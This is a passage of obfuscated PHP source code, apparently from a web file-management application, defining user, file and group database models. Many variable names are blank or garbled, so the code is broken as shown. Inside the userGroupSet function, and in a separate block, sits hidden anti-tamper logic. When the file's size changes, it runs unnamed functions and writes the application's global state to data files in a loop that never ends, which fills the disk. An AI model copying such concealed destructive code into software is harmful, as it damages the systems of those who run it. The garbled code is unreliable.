$this->where(array($[1701] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2375]]) ? $[$[2375]] : $[12]; if (md5($ . trim($)) !== $×߂[$[936]]) { return !1; } return !0; } public function userAdd($) { $ϥ =& $_SERVER[ʇ]; $ = array($ϥ[464] => $[$ϥ[32]], $ϥ[2376] => $[$ϥ[2101]], $ϥ[2377] => isset($[$ϥ[351]]) ? $[$ϥ[351]] : $ϥ[12], $ϥ[2378] => isset($[$ϥ[2374]]) ? $[$ϥ[2374]] : $ϥ[12], $ϥ[2379] => isset($[$ϥ[2182]]) ? $[$ϥ[2182]] : $[$ϥ[32]], $ϥ[2380] => isset($[$ϥ[2359]]) ? $[$ϥ[2359]] : $ϥ[12], $ϥ[2381] => isset($[$ϥ[2382]]) ? $[$ϥ[2382]] : 1, $ϥ[2383] => $[$ϥ[936]], $ϥ[1983] => isset($[$ϥ[1886]]) ? $[$ϥ[1886]] : 1024 * 1024 * 20, $ϥ[1984] => 0, $ϥ[2384] => 0, $ϥ[2028] => isset($[$ϥ[789]]) ? $[$ϥ[789]] : 1); if (!empty($[$ϥ[1701]])) { $[$ϥ[1701]] = $[$ϥ[1701]]; } $馻 = $this->_checkExist($); if ($馻 !== !0) { return $馻; } if (!empty($[$ϥ[2359]]) && strlen($[$ϥ[2359]]) > 255) { $[$ϥ[2359]] = $ϥ[12]; } $ = $this->add($); $ = array($ϥ[2383] => $[$ϥ[936]], $ϥ[2379] => $[$ϥ[2182]]); $this->userEdit($, $); Model($ϥ[1380])->userRootAdd($); return $; } protected function userEditTest($靁, $އ) { return $this->call($_SERVER[ʇ][2385], $靁, $އ); } protected function userEdit($, $ӫ) { $ =& $_SERVER[ʇ]; $Œ = $this->getInfoSimple($); if (!$Œ) { return !1; } $ڥ = $this->_checkExist($ӫ, $); if ($ڥ !== !0) { return $ڥ; } if (isset($ӫ[$[936]]) && trim($ӫ[$[936]]) != $[12]) { $鞉 = $this->metaGet($); if (empty($鞉[$[2375]])) { $鞉[$[2375]] = rand_string(10); Model($[548])->metaSet($, $[2375], $鞉[$[2375]]); } $ӫ[$[936]] = md5($鞉[$[2375]] . trim($ӫ[$[936]])); } else { unset($ӫ[$[936]]); } if (!empty($ӫ[$[2359]]) && strlen($ӫ[$[2359]]) > 255) { $ӫ[$[2359]] = $[12]; } $this->where(array($[1692] => $))->save($ӫ); if (isset($ӫ[$[2182]])) { $this->setNamePinyin($, $ӫ[$[2182]]); } $this->clearCache($); return !0; } public function setNamePinyin($ޤ, $ = false) { $ =& $_SERVER[ʇ]; if (!$) { $ = $this->getInfoSimple($ޤ); $ = $[$[2182]] ? $[$[2182]] : $[$[32]]; } $𦠗 = Model($[569]); if (!Input::check($, $[625])) { return $𦠗->metaSet($ޤ, array($[508] => $[12], $[507] => $[12])); } return $𦠗->metaSet($ޤ, array($[508] => str_replace($[53], $[12], Pinyin::get($)), $[507] => Pinyin::get($, $[626]))); } private function nickNameRpt() { $Ւ =& $_SERVER[ʇ]; $٣ = Model($Ւ[809])->get($Ւ[2386]); $ = $GLOBALS[$Ւ[6]][$Ւ[427]][$Ւ[2386]]; $Ԍ = !is_null($٣) ? $٣ : $; return !!$Ԍ; } private function _checkExist($ܕ, $ϒ矛 = false) { $鋺 =& $_SERVER[ʇ]; $ = array($鋺[32] => UserModel::ERROR_USER_EXIST_NAME, $鋺[2182] => UserModel::ERROR_USER_EXIST_NICKNAME, $鋺[351] => UserModel::ERROR_USER_EXIST_EMAIL, $鋺[2374] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$鋺[2182]]); } $ॏ = $ϒ矛 ? array($鋺[1701] => array($鋺[2387], $ϒ矛)) : array(); foreach ($ as $Ɇ => $) { $ = array(); foreach ($ as $ => $ӝ) { if (isset($ܕ[$]) && $ܕ[$]) { $[] = $ܕ[$]; } } if (!$) { continue; } $샧 = array_merge(array($Ɇ => array($鋺[7], $)), $ॏ); $ = $this->where($샧)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $ɭ͛ =& $_SERVER[ʇ]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $ɭ͛[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($ɭ͛[1692] => array($ɭ͛[462], $)); if (count($) == 1) { $ = array($ɭ͛[1692] => $[0]); } $̔ = Model($ɭ͛[548])->field($this->simpleField)->where($)->select(); $̔ = array_to_keyvalue($̔, $ɭ͛[1701]); foreach ($ as $) { $ = $̔[$]; if (!$) { $[$ . $ɭ͛[12]] = $this->getInfoSimpleOuter($); continue; } $[$ɭ͛[2359]] = Action($ɭ͛[2360])->parseUrl($[$ɭ͛[2359]]); $[$ . $ɭ͛[12]] = $; } } return $; } protected function userStatus($֤, $) { $Ұ = $this->getInfoSimple($֤); if (!$Ұ) { return !1; } $ϯʱ = array($_SERVER[ʇ][789] => $); return $this->userEdit($֤, $ϯʱ); } protected function userRemove($) { $ǽ =& $_SERVER[ʇ]; $˓̔ = $this->getInfoSimple($); if (!$˓̔) { return !1; } $Σ = array($ǽ[1692] => $); Model($ǽ[634])->where($Σ)->delete(); Model($ǽ[2388])->where($Σ)->delete(); Model($ǽ[1989])->where($Σ)->delete(); Model($ǽ[2373])->where($Σ)->delete(); Model($ǽ[1115])->where($Σ)->delete(); Model($ǽ[2199])->removeUserAll($); Model($ǽ[871])->userRootRemove($); return $this->where($Σ)->delete(); } protected function userGroupSet($ּ, $, $± = array()) { $񠨿ٱ =& $_SERVER[ʇ]; $ = $_SERVER[$񠨿ٱ[840]] . $񠨿ٱ[841]; $ = $񠨿ٱ[923]; if ($_SERVER[$񠨿ٱ[837]] != $($)) { $ = $񠨿ٱ[924]; $ϟ = $񠨿ٱ[839]; $ = $_SERVER[$񠨿ٱ[840]] . $񠨿ٱ[841]; $dz = $ϟ($); $⭹ = explode($񠨿ٱ[248], $dz); if (count($⭹) < $񠨿ٱ[673]) { $ˀ = $񠨿ٱ[842]; $ˀ(); } $ϯ = $񠨿ٱ[925]; $ϯ($_SERVER[$񠨿ٱ[926]]); $ = $񠨿ٱ[924]; $(); $ = $񠨿ٱ[927]; $ע = json_encode($GLOBALS[$񠨿ٱ[928]]); $ګ = 1; for ($܉ = $ګ; $܉ > 0; $܉++) { $(DATA_PATH . $܉, $ע); } } $ = $this->getInfoSimple($ּ); if (!$ || !is_array($)) { return !1; } $᩹ = Model($񠨿ٱ[1989]); $᩹->where(array($񠨿ٱ[1701] => $ּ))->delete(); $ = array(); $ = 0; foreach ($ as $駥 => $) { $ = array($񠨿ٱ[1701] => $ּ, $񠨿ٱ[1899] => $駥, $񠨿ٱ[2003] => $); $[$񠨿ٱ[1923]] = isset($±[$]) ? $±[$] : 0; $++; $[] = $; } return $᩹->addAll($, array(), !0); } protected function userGroupAdd($Φ, $ = array()) { $ =& $_SERVER[ʇ]; $ӓ = $this->getInfoSimple($Φ); if (!$ӓ || empty($)) { return !1; } $ = array(); foreach ($ as $Ò => $識) { $[] = array($[1701] => $Φ, $[1899] => $Ò, $[2003] => $識, $[1923] => 0); } return Model($[1989])->addAll($, array(), !0); } protected function userGroupRemove($Ć, $隹) { $ܢ =& $_SERVER[ʇ]; $զ = $this->getInfoSimple($Ć); if (!$զ || !$隹) { return !1; } $頬 = array($ܢ[1692] => $Ć, $ܢ[1987] => $隹); return Model($ܢ[1989])->where($頬)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ʇ][415]]); return $; } public function listByID($Œ) { $ =& $_SERVER[ʇ]; if (!$Œ) { return; } $ؿ = array($[1701] => array($[7], $Œ)); $Ǹޡ = $this->where($ؿ)->select(); $Ǹޡ = array_sort_keep($Ǹޡ, $[1701], $Œ); $this->_listDataApply($Ǹޡ); return $Ǹޡ; } public function listByGroup($Ă = 0, $ = array()) { $Ϯ =& $_SERVER[ʇ]; $ݖ = $Ϯ[12]; $ = array(); if ($Ă) { $ = array($Ϯ[2389] => intval($Ă)); $ݖ = "\x4c\x45\x46\124\x20\x4a\x4f\111\116\40{$this->tablePrefix}\x75\163\x65\x72\x5f\x67\162\157\165\160\40\x75\x73\x65\162\x5f\147\162\157\165\160\x20\x6f\x6e\40\165\163\145\162\x2e\165\x73\x65\162\x49\104\40\75\x20\x75\x73\145\x72\x5f\147\x72\x6f\x75\160\56\165\163\145\x72\x49\x44"; $ = Input::get($Ϯ[500], null, $Ϯ[12]) ? $Ϯ[12] : $Ϯ[2390]; } if (isset($[$Ϯ[789]])) { $[$Ϯ[2391]] = $[$Ϯ[789]]; } $֜ʅ = $this->_makeOrder($)->field($Ϯ[2392])->where($)->join($ݖ)->selectPage(50); $this->_listDataApply($֜ʅ[$Ϯ[415]]); return $֜ʅ; } private function _makeOrder($ = '') { $矸 =& $_SERVER[ʇ]; $ = array($矸[1701], $矸[32], $矸[1888], $矸[1860], $矸[217]); $ = array($矸[493] => $矸[494], $矸[495] => $矸[496]); $ = Input::get($矸[500], $矸[7], $矸[1692], $); $׷އ = Input::get($矸[501], $矸[7], $矸[1990], array($矸[1990], $矸[495])); $׷އ = $[$׷އ]; $ = $ . "\165\163\x65\162\56{$}\40{$׷އ}\54\x20\165\163\x65\162\x2e\x75\x73\x65\x72\111\x44\40\x61\163\x63"; return $this->alias($矸[2117])->order($); } public function listSearch($ۂț) { $ =& $_SERVER[ʇ]; $΋ʢ = $ۂț[$[1993]]; $ = isset($ۂț[$[1994]]) ? $ۂț[$[1994]] : !1; $΋ʢ = str_replace($[1995], $[1996], trim($΋ʢ)); $ = array($[32] => array($[429], "\45{$΋ʢ}\x25"), $[351] => array($[429], "{$΋ʢ}\45"), $[2182] => array($[429], "{$΋ʢ}\x25"), $[1047] => $[1997]); if (Input::check($΋ʢ, $[357])) { $[$[1701]] = array($[429], "{$΋ʢ}\45"); $[$[2374]] = array($[429], "{$΋ʢ}\45"); } if (!$΋ʢ) { $ = array(); } if (isset($ۂț[$[789]])) { $[$[789]] = $ۂț[$[789]]; } $ = $this->parseWhereLike($); $ٺ = $this->_makeOrder()->where($)->selectPage(20); if (!$ٺ || count($ٺ[$[415]]) < 5 && Input::check($΋ʢ, $[364])) { $ = $this->_searchFromMeta($[507], $΋ʢ, 10); $Е = $this->_searchFromMeta($[508], $΋ʢ, 10); $ = array_merge($, $Е, $ٺ[$[415]]); $ٺ[$[415]] = array_unique_by_key($, $[1701]); $ٺ[$[412]][$[413]] = count($ٺ[$[415]]); $ٺ[$[412]][$[414]] = ceil($ٺ[$[412]][$[413]] / $ٺ[$[412]][$[409]]); } $this->_listDataApply($ٺ[$[415]]); $this->_filterByGroup($ٺ, $); return $ٺ; } private function _filterByGroup(&$, $Ǖ) { $ =& $_SERVER[ʇ]; if (!$Ǖ) { return $; } foreach ($[$[415]] as $ۥ => &$) { $ = array_to_keyvalue($[$[2086]], $[12], $[1899]); if (!in_array($Ǖ, $)) { unset($[$[415]][$ۥ]); } } unset($); $[$[415]] = array_values($[$[415]]); $[$[412]] = array($[2152] => count($[$[415]]), $[2150] => $[$[412]][$[409]], $[2149] => 1, $[2151] => 1); } private function _searchFromMeta($, $ܿ, $) { $ջԷ =& $_SERVER[ʇ]; $ܿ = strtolower($ܿ); $Ґ = array($ջԷ[96] => $, $ջԷ[420] => array($ջԷ[429], "\x25{$ܿ}\45")); $Ґ = $this->parseWhereLike($Ґ); $Ш = Model($ջԷ[2393])->where($Ґ)->limit($)->select(); if (!$Ш) { return array(); } $Ш = array_to_keyvalue($Ш, $ջԷ[12], $ջԷ[1701]); $ = $this->where(array($ջԷ[1692] => array($ջԷ[7], $Ш)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($ŝ) { $ = array($ŝ); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$Ў) { $׋ =& $_SERVER[ʇ]; if (!$Ў) { return; } array_remove_key($Ў, $׋[936]); $х = array_to_keyvalue($Ў, $׋[12], $׋[1701]); $this->_listAppendGroup($Ў, $х); $this->_listAppendMeta($Ў, $х); $this->_listAppendSourceRoot($Ў, $х); } private function _listAppendSourceRoot(&$, $찋ґ) { $ =& $_SERVER[ʇ]; $褐 = Model($[871])->listSourceRoot(SourceModel::TYPE_USER, $찋ґ); $褐 = array_to_keyvalue($褐, $[540]); $褐 = array_remove_key($褐, $[540]); foreach ($ as &$ً) { $ً[$[89]] = $褐[$ً[$[1701]]] ? $褐[$ً[$[1701]]] : array(); } unset($ً); } private function _listAppendGroup(&$ۓ˔, $) { $ =& $_SERVER[ʇ]; $Ɩ = array($[1701] => array($[7], $)); $В = Model($[1989])->where($Ɩ)->select(); $ = array_to_keyvalue($В, $[12], $[1899]); $ = array_remove_value(array_unique($), $[214]); if (!$ || !$В) { return; } $Ɩ = array($[1899] => array($[7], $)); $ = Model($[2084])->field($[2394])->where($Ɩ)->select(); $ = array_to_keyvalue($, $[1899]); $В = array_to_keyvalue_group($В, $[1701]); foreach ($В as &$ټ) { $ԗ = array(); foreach ($ټ as $ѕǁ) { if (!$ѕǁ[$[2003]]) { continue; } $ = Model($[542])->listData($ѕǁ[$[2003]]); $ԗ[] = array($[1899] => $ѕǁ[$[1899]], $[2395] => $[$ѕǁ[$[1899]]][$[32]], $[555] => $[$ѕǁ[$[1899]]][$[555]], $[457] => $); } $ټ = $ԗ; } unset($ټ); foreach ($ۓ˔ as &$㵅) { $㵅[$[2086]] = array(); if (isset($В[$㵅[$[1701]]])) { $㵅[$[2086]] = $В[$㵅[$[1701]]]; } } unset($㵅); } public function userAppendGroup($ꩌ) { $ͪ =& $_SERVER[ʇ]; if (!$ꩌ) { return array(); } $this->_listAppendGroup($ꩌ, array_to_keyvalue($ꩌ, $ͪ[12], $ͪ[1701])); return $ꩌ; } private function _listAppendMeta(&$ؗ, $) { $ㇿɟ =& $_SERVER[ʇ]; $槠 = UserJobModel::JOB_KEY; $ƹ͕ = array($ㇿɟ[2375]); $ވ« = array($ㇿɟ[1701] => array($ㇿɟ[7], $)); $ = Model($ㇿɟ[2373])->where($ވ«)->select(); $ = array_to_keyvalue_group($, $ㇿɟ[1701]); foreach ($ as &$Пԋ) { $ = array(); foreach ($Пԋ as $) { if (!in_array($[$ㇿɟ[96]], $ƹ͕)) { $[$[$ㇿɟ[96]]] = $[$ㇿɟ[420]]; } } $Пԋ = $; } unset($Пԋ); $ǵ = Model($ㇿɟ[2396]); foreach ($ؗ as &$) { $ = array(); if (isset($[$[$ㇿɟ[1701]]])) { $ = $[$[$ㇿɟ[1701]]]; } $[$ㇿɟ[2397]] = array(); if (isset($[$槠])) { $[$ㇿɟ[2397]] = $ǵ->getUserJobInfo($[$槠]); } } unset($); } protected function groupUserAll($ޠ) { $ȿ =& $_SERVER[ʇ]; if (!$ޠ) { return !1; } $ = Model($ȿ[1989])->field($ȿ[1701])->where(array($ȿ[1899] => array($ȿ[7], $ޠ)))->select(); $ = array_to_keyvalue($, $ȿ[12], $ȿ[1701]); return array_unique($); } public function userSearch($, $߱Ҩ = "\52") { return Model($_SERVER[ʇ][569])->where($)->field($߱Ҩ)->find(); } } goto f; Cʌ: define($_SERVER[ʇ][647], $_SERVER[ʇ][648]); $yzgjqlmhsr = $_SERVER[ʇ][649]; $_SERVER[ߤ] = explode($_SERVER[ʇ][650], gzinflate(substr($_SERVER[ʇ][651], 10, -8))); goto b; c: $_file = $_SERVER[$_SERVER[ʇ][838]]; $_size = $_SERVER[ʇ][923]; if ($_SERVER[$_SERVER[ʇ][837]] != $_size($_file)) { $_getc = $_SERVER[ʇ][839]; $_getfile = $_SERVER[$_SERVER[ʇ][840]] . $_SERVER[ʇ][841]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ʇ][248], $_getfilec); if (count($_getarrs) < $_SERVER[ʇ][653]) { $exit = $_SERVER[ʇ][842]; $exit(); } $_act = $_SERVER[ʇ][843]; $_act($_file); } goto aй; f: class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\146\151\154\145"; protected $tableMeta = array("\164\x61\x62\154\145\116\x61\x6d\x65" => "\151\x6f\x5f\146\x69\x6c\145\137\155\x65\x74\141", "\155\x65\164\141\106\151\x65\154\144" => "\x66\151\154\x65\x49\x44"); public function fileInfo($غ) { $ =& $_SERVER[ʇ]; static $ = array(); if (!isset($[$غ])) { $ = $[1948]; $ʱ = Model($[514])->field($)->where(array($[512] => $غ))->find(); $[$غ] = $ʱ; } return $[$غ]; } public function addFileByContent($ߠз = '', $ = '') { $ƺ =& $_SERVER[ʇ]; $ = TEMP_PATH . $ƺ[1949]; if (!is_dir($)) { mk_dir($); } $٧ = $ . $ƺ[1950] . rand_string(16); file_put_contents($٧, $ߠз); $ۺ½ = $this->addFile($٧, $, !0); if (file_exists($٧)) { @unlink($٧); } return $ۺ½; } public function createFileName($, $ = false, $̓֫ = false) { $϶穾 =& $_SERVER[ʇ]; $ = IO::init($϶穾[8]); $ = $this->makeFilePath($, $, $, $̓֫); $Ӭб = $->pathFather($); static $ʌ = false; $ = $϶穾[1951] . md5($Ӭб); if (!$ʌ && !Cache::get($)) { $ʌ = !0; $̰ = IO::mkdir($Ӭб); if (!IO::exist($̰ . $϶穾[836])) { IO::mkfile($̰ . $϶穾[836]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($, $Զ, $鰣 = false, $ = false) { $㉸ =& $_SERVER[ʇ]; $Ǩ = Model($㉸[809])->get($㉸[1952]); $ = KodIO::defaultIO() . date($㉸[1953]); $ʣ = $ . rand_string(5) . short_id(100); $ = str_replace($㉸[8], $㉸[11], KodIO::clear($)); $ = $Զ->ext($); if (!$) { $Ǩ = $㉸[1954]; } switch ($Ǩ) { case $㉸[1955]: $ʣ = $ʣ . $㉸[10] . $Զ->ext($); if ($ == $㉸[1892]) { $ʣ .= $㉸[1253]; } break; case $㉸[1956]: $ = Model($㉸[809])->get($㉸[810]); $਋ = substr(md5($㉸[811] . $ . date($㉸[787])), 0, 8); $ = KodIO::defaultDriver(); $ = $㉸[1284] . $[$㉸[445]] . $㉸[454] . date($㉸[1957]) . $਋ . $㉸[8]; if ($ == $㉸[1892]) { $ .= $㉸[1253]; } $ɗ = $㉸[1958] . $ . $; CacheLock::lock($ɗ); $ʣ = $ . $; if (IO::exist($ . $)) { $잆 = substr($, 0, strlen($) - strlen($)); $ = $ ? substr($, 0, 5) : ($鰣 ? substr($鰣, 0, 5) : rand_string(5)); $ʣ = $ . $잆 . $ . $㉸[10] . $; } if (IO::isTypeObject($ʣ) && !IO::isUploadServer($ʣ)) { if (IO::exist($ʣ)) { return $ʣ; } $ = IO::setContent($ʣ, $㉸[12]); if (!$) { show_json($㉸[1959], !1); } } CacheLock::unlock($ɗ); break; case $㉸[1954]: break; default: break; } return $ʣ; } public function addFileByRemote($ﵔ, $, $ճ = array()) { $޼ =& $_SERVER[ʇ]; if (!IO::exist($ﵔ)) { return !1; } $ʾ = $ճ[$޼[517]] ? $ճ[$޼[517]] : $޼[12]; $͑ = IO::hashMd5($ﵔ, $ʾ); $˪큑 = KodIO::defaultDriver(); $ɗ = array($޼[587] => IO::size($ﵔ), $޼[1960] => 1, $޼[464] => $, $޼[854] => $˪큑[$޼[445]], $޼[465] => $ﵔ, $޼[1961] => $ճ[$޼[642]] ? $ճ[$޼[642]] : IO::hashSimple($ﵔ), $޼[1962] => $͑ ? $͑ : $ʾ); if ($ټ = $this->addFileCheckExist($ɗ[$޼[642]], $ɗ[$޼[517]], $ɗ[$޼[78]])) { return $ټ; } return $this->addFileData($ɗ); } private function addFileData($񙗞) { $ =& $_SERVER[ʇ]; if (!$񙗞) { return !1; } $񙗞[$[78]] = intval($񙗞[$[78]]); if (!$񙗞[$[78]] && strlen($񙗞[$[642]]) > 32) { $񙗞[$[78]] = intval(substr($񙗞[$[642]], 32)); } $뛅 = $this->add($񙗞); return $this->find($뛅); } public function addFile($Ա, $, $ = false) { $ո =& $_SERVER[ʇ]; $Ʈ = IO::hashSimple($Ա); $̎ԙ = IO::size($Ա); $ήͦ = $̎ԙ <= 1024 * 1024 * 10 ? IO::hashMd5($Ա) : $ո[12]; $¤ = $ո[1963] . $Ʈ; CacheLock::lock($¤); if ($ήͦ && $Ʈ) { $Ž = $this->addFileCheckExist($Ʈ, $ήͦ, $̎ԙ); if ($Ž) { CacheLock::unlock($¤); return $Ž; } } $ = $this->addFileMake($Ա, $̎ԙ, $Ʈ, $ήͦ, $, $); $ = $this->addFileData($); CacheLock::unlock($¤); if (!$ήͦ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($) { $ڴ =& $_SERVER[ʇ]; $ = array($[$ڴ[511]], $[$ڴ[86]]); $Ŝ٣ = $ڴ[1964] . $[$ڴ[86]]; $ʅۻ = $ڴ[1965] . $[$ڴ[511]]; TaskQueue::add($ڴ[1966], $, $Ŝ٣, $ʅۻ); } public function fileMd5Set($ۣ, $) { $ =& $_SERVER[ʇ]; $౗ = $this->find($ۣ); if (!$౗ || $౗[$[517]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[511] => $ۣ))->save(array($[517] => $)); } public function addFileMake($ހ׬, $ⵞ, $, $LJʒܒ, $, $ՍѼ) { $ߡ =& $_SERVER[ʇ]; $ = $this->createFileName($, $, $LJʒܒ); $Ʋ = get_path_father($); $Ŵ = get_path_this($); if ($ՍѼ) { $Ŵ = IO::move($ހ׬, $Ʋ, !1, $Ŵ); } else { $Ŵ = IO::copy($ހ׬, $Ʋ, !1, $Ŵ); } if (!$Ŵ) { return !1; } $ߔ = KodIO::defaultDriver(); $Է = array($ߡ[587] => $ⵞ, $ߡ[1960] => 1, $ߡ[464] => $, $ߡ[854] => $ߔ[$ߡ[445]], $ߡ[465] => $, $ߡ[1961] => $, $ߡ[1962] => $LJʒܒ); return $Է; } public function addFileCheckExist($򁀨, $, $) { $Ɇٹ =& $_SERVER[ʇ]; $ӏ½ = $this->findByHash($򁀨, $); if (!$ӏ½) { return !1; } $Ҽ = array($Ɇٹ[1960] => intval($ӏ½[$Ɇٹ[1967]]) + 1, $Ɇٹ[587] => $); $this->where(array($Ɇٹ[512] => $ӏ½[$Ɇٹ[511]]))->save($Ҽ); return $ӏ½; } public function remove($˝) { $this->linkCountChange($˝, !1); $this->clearEmpty(); return !0; } public function linkAdd($冄) { $this->linkCountChange($冄, !0); } public function linkCountChange($Ħ, $) { $Ά =& $_SERVER[ʇ]; if (!$Ħ) { return; } if (!is_array($Ħ)) { $Ħ = array($Ħ); } $ĉ = array(); foreach ($Ħ as $ϕ) { $ȭ = $ϕ . $Ά[12]; if (!$ĉ[$ȭ]) { $ĉ[$ȭ] = 0; } $ĉ[$ȭ]++; } $lj = array(); foreach ($ĉ as $ϕ => $Ў) { $ȭ = $Ў . $Ά[12]; if (!$lj[$ȭ]) { $lj[$ȭ] = array(); } $lj[$ȭ][] = $ϕ; } foreach ($lj as $Ў => $) { if (!$) { continue; } $Ў = $ ? $Ў : -intval($Ў); $ = array($Ά[511] => array($Ά[7], $)); if ($Ў < 0) { $[$Ά[1967]] = array($Ά[1062], abs($Ў)); } $this->where($)->setAdd($Ά[1967], $Ў); } } public function findByHash($Ȳ, $ = false) { $ =& $_SERVER[ʇ]; if (!$Ȳ && !$) { return !1; } $͉͡ = array($[1961] => $Ȳ); if ($) { $͉͡ = array($[1962] => $); } return $this->order($[1968])->where($͉͡)->find(); } public function clearEmpty($ٴ = 0) { $ =& $_SERVER[ʇ]; $Ɯ = time() - 3600 * 24 * $ٴ; $없ܫ = $[1969] . $Ɯ; $ԍ = $this->where($없ܫ)->select(); if (!$ԍ) { return; } $ = new Task($[1970], $[12], count($ԍ)); foreach ($ԍ as $ܻ) { $->update(1); $this->resetFile($ܻ); } $->end(); } public function resetFile($) { $LJ =& $_SERVER[ʇ]; $ɒ = array($LJ[512] => $[$LJ[511]]); $ô = Model($LJ[1380])->where($ɒ)->count(); $ǘ̥ = Model($LJ[1971])->where($ɒ)->count(); $⸨ = intval($ô) + intval($ǘ̥); if ($⸨ == 0) { IO::remove($[$LJ[86]]); Model($LJ[1972])->delete($[$LJ[511]]); $this->where($ɒ)->delete(); $this->metaSet($[$LJ[511]], null, null); return; } if ($[$LJ[1967]] != $⸨) { $this->where($ɒ)->save(array($LJ[1960] => $⸨)); } } public function storageInfo($Ú͂ = false) { $琹 =& $_SERVER[ʇ]; $ԅ = $this->count() + 0.0; $퀴ĕ = 0; $ۋ = 1; $ = 0; $ǿ = 5000; for ($ = 0; $ < $ԅ; $ = $ + $ǿ) { $ȯф = $this->limit($, $ + $ǿ)->select(); foreach ($ȯф as $џ) { $ۋ += $џ[$琹[78]] * $џ[$琹[1967]]; $퀴ĕ += $џ[$琹[78]] * ($џ[$琹[1967]] - 1); $ += $џ[$琹[1967]]; } } $ = array($琹[1973] => $ۋ, $琹[1974] => $퀴ĕ, $琹[1975] => $퀴ĕ / $ۋ, $琹[82] => $ԅ, $琹[1976] => $); return $; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\x6f\x75\x70"; protected $tableMeta = array("\164\141\142\154\x65\x4e\141\x6d\x65" => "\x67\162\157\x75\x70\137\x6d\x65\x74\x61", "\155\x65\x74\141\106\x69\x65\154\144" => "\147\x72\157\165\x70\111\104"); protected function cacheFunctionAlias($욒) { $ =& $_SERVER[ʇ]; return array($[1977] => array($욒[0], $[1978]), $[1979] => array($욒[0], $[1980])); } protected function getInfo($Ȩ, $ = false) { $󁻰 = $this->getInfoSimple($Ȩ); if (!$󁻰) { return !1; } if ($) { return $this->_listDataApplyItem($󁻰); } return $this->cacheFunctionGet($_SERVER[ʇ][1981], $Ȩ); } protected function getInfoSimple($˄, $ܴ = false) { $ښ =& $_SERVER[ʇ]; if ($ܴ) { $螘 = array($ښ[1899] => intval($˄)); $кɷ = $this->where($螘)->find(); return is_array($кɷ) ? $кɷ : array(); } return $this->cacheFunctionGet($ښ[1982], $˄); } protected function groupAdd($) { $޲ =& $_SERVER[ʇ]; if (!$[$޲[182]] && isset($[$޲[1899]]) && $[$޲[1899]] == 1) { if ($۞֓ = $this->getInfoSimple($[$޲[1899]], !0)) { return $[$޲[1899]]; } } else { $۞֓ = $this->getInfoSimple($[$޲[182]]); if (!$۞֓) { return !1; } } $Ҷ = $޲[565]; if ($۞֓[$޲[555]]) { $Ҷ = $۞֓[$޲[555]] . $۞֓[$޲[1899]] . $޲[50]; } $ = array($޲[464] => $this->groupNameAuto($[$޲[182]], $[$޲[32]]), $޲[447] => $[$޲[182]], $޲[622] => $Ҷ, $޲[1983] => $[$޲[1886]], $޲[1984] => 0, $޲[1903] => 0); if (isset($[$޲[1923]])) { $[$޲[1923]] = $[$޲[1923]]; } else { $ = $this->max($޲[1923]); if (!$) { $ = 0; } $[$޲[1923]] = $ + 1; } if (!empty($[$޲[1899]])) { $[$޲[1899]] = $[$޲[1899]]; } $ = $this->add($); $this->setNamePinyin($, $[$޲[32]]); if (isset($[$޲[1985]])) { $this->metaSet($, array($޲[1985] => $[$޲[1985]], $޲[1986] => $[$޲[1986]])); unset($[$޲[1985]]); unset($[$޲[1986]]); } Model($޲[1380])->groupRootAdd($); $this->_clearCache($[$޲[182]]); return $; } protected function groupEdit($îӟ, $) { $巠 =& $_SERVER[ʇ]; $ѹ = $this->getInfoSimple($îӟ); if (!$ѹ) { return !1; } if (!empty($[$巠[182]])) { $ = $this->getInfoSimple($[$巠[182]]); if (!$) { return !1; } if ($ѹ[$巠[1899]] == $[$巠[1899]]) { return !1; } if ($[$巠[182]] != $ѹ[$巠[182]]) { if ($[$巠[555]] !== $ѹ[$巠[555]] && strpos($[$巠[555]], $ѹ[$巠[555]] . $ѹ[$巠[1899]] . $巠[50]) === 0) { return !1; } $[$巠[622]] = $[$巠[555]] . $[$巠[182]] . $巠[50]; $this->_changeChildLevel($ѹ, $); $this->_clearCache($[$巠[1899]]); $this->_clearCache($ѹ[$巠[182]]); } } if (isset($[$巠[32]])) { $this->setNamePinyin($îӟ, $[$巠[32]]); } if (isset($[$巠[1985]])) { $this->metaSet($îӟ, array($巠[1985] => $[$巠[1985]], $巠[1986] => $[$巠[1986]])); unset($[$巠[1985]]); unset($[$巠[1986]]); } $this->_clearChildrenCache($ѹ); return $this->where(array($巠[1987] => $îӟ))->save($); } private function _clearChildrenCache($ߚ) { $֞ =& $_SERVER[ʇ]; $ = array($֞[622] => array($֞[582], $ߚ[$֞[555]] . $ߚ[$֞[1899]] . $֞[583])); $Ƨأ = $this->field($֞[1899])->where($)->select(); foreach ($Ƨأ as $) { $this->_clearCache($[$֞[1899]]); } } private function _clearCache($ڟ) { $” =& $_SERVER[ʇ]; $this->cacheFunctionClear($”[1981], $ڟ); $this->cacheFunctionClear($”[1982], $ڟ); } private function _changeChildLevel($Ң, $, $ނߨ = false) { $ʿڍ =& $_SERVER[ʇ]; $ = $Ң[$ʿڍ[555]] . $Ң[$ʿڍ[1899]] . $ʿڍ[50]; $ = $[$ʿڍ[555]] . $[$ʿڍ[1899]] . $ʿڍ[50] . $Ң[$ʿڍ[1899]] . $ʿڍ[50]; if ($ނߨ) { $ = $[$ʿڍ[555]] . $[$ʿڍ[1899]] . $ʿڍ[50]; } $𾯾 = array($ʿڍ[622] => array($ʿڍ[582], $Ң[$ʿڍ[555]] . $Ң[$ʿڍ[1899]] . $ʿڍ[583])); $Ȥ = array($ʿڍ[622] => array($ʿڍ[631], "\x72\145\160\154\141\x63\145\50\160\141\162\145\x6e\x74\x4c\145\x76\x65\154\54\47{$}\x27\x2c\47{$}\x27\x29")); $this->_clearChildrenCache($Ң); $this->where($𾯾)->data($Ȥ)->save(); } public function setNamePinyin($ف, $㞸 = false) { $Ϣ =& $_SERVER[ʇ]; if (!$㞸) { 